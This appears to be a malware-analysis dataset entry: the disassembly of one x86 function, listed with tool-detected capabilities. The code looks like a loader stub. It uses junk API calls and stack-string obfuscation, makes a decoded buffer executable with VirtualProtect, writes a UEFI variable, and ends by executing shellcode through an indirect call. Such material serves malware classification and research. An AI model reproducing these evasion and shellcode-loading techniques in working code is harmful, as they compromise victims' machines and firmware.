Function at 0x403390
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Delete directory
Execute shellcode via indirect call
Get common file path
Get file attributes
Move file
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x42ebfb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x1170
call fcn.0040d830
cmp dword [0x49d34c], 0xac
push ebx
push ebp
push esi
push edi
jne 0x4034b5
xor esi, esi
push esi
lea eax, [esp + 0x184]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push esi
lea ecx, [esp + 0x988]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov dword [esp + 0xe4], 0xf
mov dword [esp + 0xe0], esi
mov byte [esp + 0xd0], 0
push esi
mov dword [esp + 0x11c0], esi
call fcn.004047ff
add esp, 4
call fcn.00404542
lea edx, [esp + 0x20]
push edx
lea ecx, [esp + 0xc4]
mov dword [esp + 0x24], 0x402cfc
call fcn.00404833
lea ecx, [esp + 0xc0]
mov dword [esp + 0xc0], 0x401250
call fcn.004048e3
push esi
call fcn.00404996
add esp, 4
push esi
call fcn.00404967
add esp, 4
push esi
push esi
call fcn.004049a1
push esi
push esi
call fcn.004047e8
add esp, 8
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404a08
fstp st(0)
add esp, 8
call fcn.00404547
mov dword [esp + 0x11bc], 0xffffffff
cmp dword [esp + 0xe4], 0x10
jb 0x4034b5
mov eax, dword [esp + 0xd0]
push eax
call fcn.004049ac
add esp, 4
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthI]
xor esi, esi
cmp esi, 0xd2b2
jge 0x4034e6
push 0
lea ecx, [esp + 0x984]
push ecx
call edi
push 0
lea edx, [esp + 0x28]
push edx
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x13911
jl 0x4034c3
add dword [0x49d34c], 0x11b1b
call fcn.00403370
mov ecx, dword [0x49d34c]
mov edx, dword [0x49a258]
lea eax, [esp + 0x30]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov dword [esp + 0x20], eax
cmp dword [0x49d34c], eax
jbe 0x4035d6
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov ecx, dword [0x49dcec]
mov dl, byte [ecx + eax + 0x11b1b]
mov ecx, dword [0x49a258]
mov byte [ecx + eax], dl
cmp dword [0x49d34c], 0xa8
jne 0x4035c5
push 0
push 0
push 0
push 0
call esi
push 0
push 0
call edi
push 0
call ebx
lea edx, [esp + 0x180]
push edx
call ebp
lea eax, [esp + 0xe8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0x28]
push ecx
push 0
push 0
lea edx, [esp + 0x38]
push edx
push 0
lea eax, [esp + 0x38]
push eax
push 0
mov dword [esp + 0x44], 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0x402d0c
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov eax, dword [esp + 0x20]
inc eax
mov dword [esp + 0x20], eax
cmp eax, dword [0x49d34c]
jb 0x403543
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov ebp, dword [sym.imp.KERNEL32.dll_DebugBreak]
mov ebx, dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor eax, eax
mov dword [esp + 0x24], eax
mov ecx, dword [0x49d34c]
add ecx, eax
cmp ecx, 0xe
jne 0x403672
push 0
lea edx, [esp + 0x30]
push edx
call esi
push 0
push 0
push 0
call edi
call ebp
push 0
push 0
push 0
push 0
push 0
call ebx
xor ecx, ecx
xor eax, eax
mov word [esp + 0x20], ax
mov word [esp + 0x22], cx
mov edx, dword [esp + 0x20]
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
lea eax, [esp + 0x180]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0x402d48
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 0x4f95a3
mov dword [esp + 0x24], eax
jl 0x4035f4
mov edi, dword [sym.imp.GDI32.dll_GetBrushOrgEx]
mov esi, 0x4f4
lea ecx, [ecx]
push 0
push 0
call edi
sub esi, 1
jne 0x403690
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp esi, 0x3ba47de
jge 0x403ab1
mov dword [esp + 0x9c], 0x45163432
mov dword [esp + 0x54], 0x365f6e7c
mov dword [esp + 0x84], 0x1c9f8f9e
mov dword [esp + 0x3c], 0x5fa72fdc
mov dword [esp + 0x2c], 0x1d0c749
mov dword [esp + 0x90], 0x4f80fefc
mov dword [esp + 0x48], 0x4c0c1ba7
mov dword [esp + 0xb0], 0x109ac3ac
mov dword [esp + 0x78], 0x1cfe86f0
mov dword [esp + 0xb4], 0x4ff77d0a
mov dword [esp + 0x60], 0x1d066b66
mov dword [esp + 0x94], 0x730e096d
mov dword [esp + 0x24], 0xf8da946
mov dword [esp + 0x58], 0x2b453a2c
mov dword [esp + 0x4c], 0x196fddf2
mov dword [esp + 0x98], 0x579cd831
mov dword [esp + 0x80], 0x594610ff
mov dword [esp + 0x7c], 0x4c24cf86
mov dword [esp + 0x44], 0x38f38c7d
mov dword [esp + 0x38], 0x42509c7f
mov dword [esp + 0xa0], 0x6c728c2e
mov dword [esp + 0xb8], 0x5f0b9dc5
mov dword [esp + 0x40], 0x3de54433
mov dword [esp + 0xbc], 0x4d6a35bd
mov dword [esp + 0x34], 0x701a6f09
mov dword [esp + 0x74], 0x3de7c98d
mov dword [esp + 0x68], 0x70f432cb
mov dword [esp + 0x70], 0x553c193
mov dword [esp + 0x20], 0x460019d7
mov dword [esp + 0x28], 0x1d71183f
mov dword [esp + 0x88], 0x350fe109
mov dword [esp + 0x64], 0x750b4476
mov dword [esp + 0x8c], 0x7c9ab592
mov dword [esp + 0x50], 0x447a45e
mov dword [esp + 0xa8], 0xd51ab
mov dword [esp + 0x6c], 0x231131a9
mov dword [esp + 0xac], 0x354406f6
mov dword [esp + 0x5c], 0x1ce54cc2
mov dword [esp + 0xa4], 0x7da4391a
add dword [esp + 0x9c], 0x1c00533b
sub dword [esp + 0x54], 0x506befb3
sub dword [esp + 0x54], 0x47ff376b
sub dword [esp + 0x3c], 0x1364af7e
add dword [esp + 0x54], 0x1ecc8725
add dword [esp + 0x84], 0x11e9ba3a
add dword [esp + 0x2c], 0x5ec6c150
mov eax, 0x2bbbdac
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
sub dword [esp + 0x2c], 0x46eb3026
mov eax, 0x310dd3e8
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
add dword [esp + 0x3c], 0x26a842d7
add dword [esp + 0x54], 0x2aeec06f
add dword [esp + 0x48], 0xcdff0fd
sub dword [esp + 0x90], 0x713b27ff
mov eax, 0x377f9670
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
mov eax, 0x5d39ffcf
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
sub dword [esp + 0x2c], 0x57e748e3
add dword [esp + 0x48], 0x70063621
add dword [esp + 0x54], 0x40855e35
add dword [esp + 0x9c], 0x5e24bdd
add dword [esp + 0x90], 0x4f300ef8
add dword [esp + 0x90], 0x1f351b75
sub dword [esp + 0x90], 0x2648746d
sub dword [esp + 0x78], 0x768f021b
add dword [esp + 0x90], 0x551251ce
add dword [esp + 0x60], 0x665e40b0
sub dword [esp + 0x9c], 0x439c32e
add dword [esp + 0x94], 0x6f8ca1d9
sub dword [esp + 0x84], 0x53b40143
add dword [esp + 0x3c], 0x6e9692e
mov eax, 0x5bf6d3b5
mul dword [esp + 0xb0]
mov eax, dword [esp + 0xb0]
mov eax, 0xd3430a9
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
mov eax, 0x37729c5f
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
add dword [esp + 0x94], 0x2cf52702
sub dword [esp + 0x78], 0x2daf2947
sub dword [esp + 0xbc], 0x3fa66771
mov eax, 0x536d7bb0
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
add dword [esp + 0x7c], 0x531c4426
add dword [esp + 0x24], 0x1f35aa03
sub dword [esp + 0x4c], 0x2f11117e
mov eax, 0x792c2eb0
mul dword [esp + 0xb4]
mov eax, dword [esp + 0xb4]
add dword [esp + 0x7c], 0x3291341f
sub dword [esp + 0x40], 0x380856bc
mov eax, 0x2afe4fa3
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
mov eax, 0x3305a957
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
sub dword [esp + 0x98], 0x41897da1
sub dword [esp + 0x38], 0x5cd7e062
sub dword [esp + 0x7c], 0x1adf1bc4
add dword [esp + 0x48], 0x60a46988
mov eax, 0x3b198bef
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
sub dword [esp + 0xb0], 0x5b3f12a3
add dword [esp + 0x2c], 0x5733f9a8
mov eax, 0x4c6bf40b
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
mov eax, 0x5358eeda
mul dword [esp + 0x74]
mov eax, dword [esp + 0x74]
add dword [esp + 0x8c], 0x544ac742
mov eax, 0x506480bf
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x2f3a7ef9
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
mov eax, 0x2494800
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x8c], 0x3f0b950
add dword [esp + 0x88], 0x1148d0b9
sub dword [esp + 0x94], 0x5516ae52
cmp esi, 0xbfa539
jg 0x403ac6
inc esi
cmp esi, 0x19ce67f8
jl 0x4036a1
call fcn.00403250
xor edx, edx
lea ecx, [ecx]
cmp edx, 0x26
jne 0x403ada
call fcn.00403350
inc edx
cmp edx, 0x409495
jl 0x403ad0
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov ebp, 0x7b
lea ebx, [ebx]
cmp dword [0x49d34c], 0x86
jne 0x403b1a
push 0
call esi
push 0
call edi
push 0
push 0
call ebx
sub ebp, 1
jne 0x403b00
mov esi, dword [sym.imp.KERNEL32.dll_HeapSize]
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
mov dword [esp + 0x20], 0x180ef
nop
cmp dword [0x49d34c], 0x1f
jne 0x403b92
push 0
push 0
push 0
call esi
push 0
lea edx, [esp + 0x38]
push edx
push 0
lea eax, [esp + 0x58c]
push eax
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
push 0x402da8
push 0x402df4
call ebp
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileIntA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
sub dword [esp + 0x20], 1
jne 0x403b40
push 0x402e30
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x49a258]
mov dword [0x49a25c], eax
call eax
mov ecx, dword [esp + 0x11b4]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret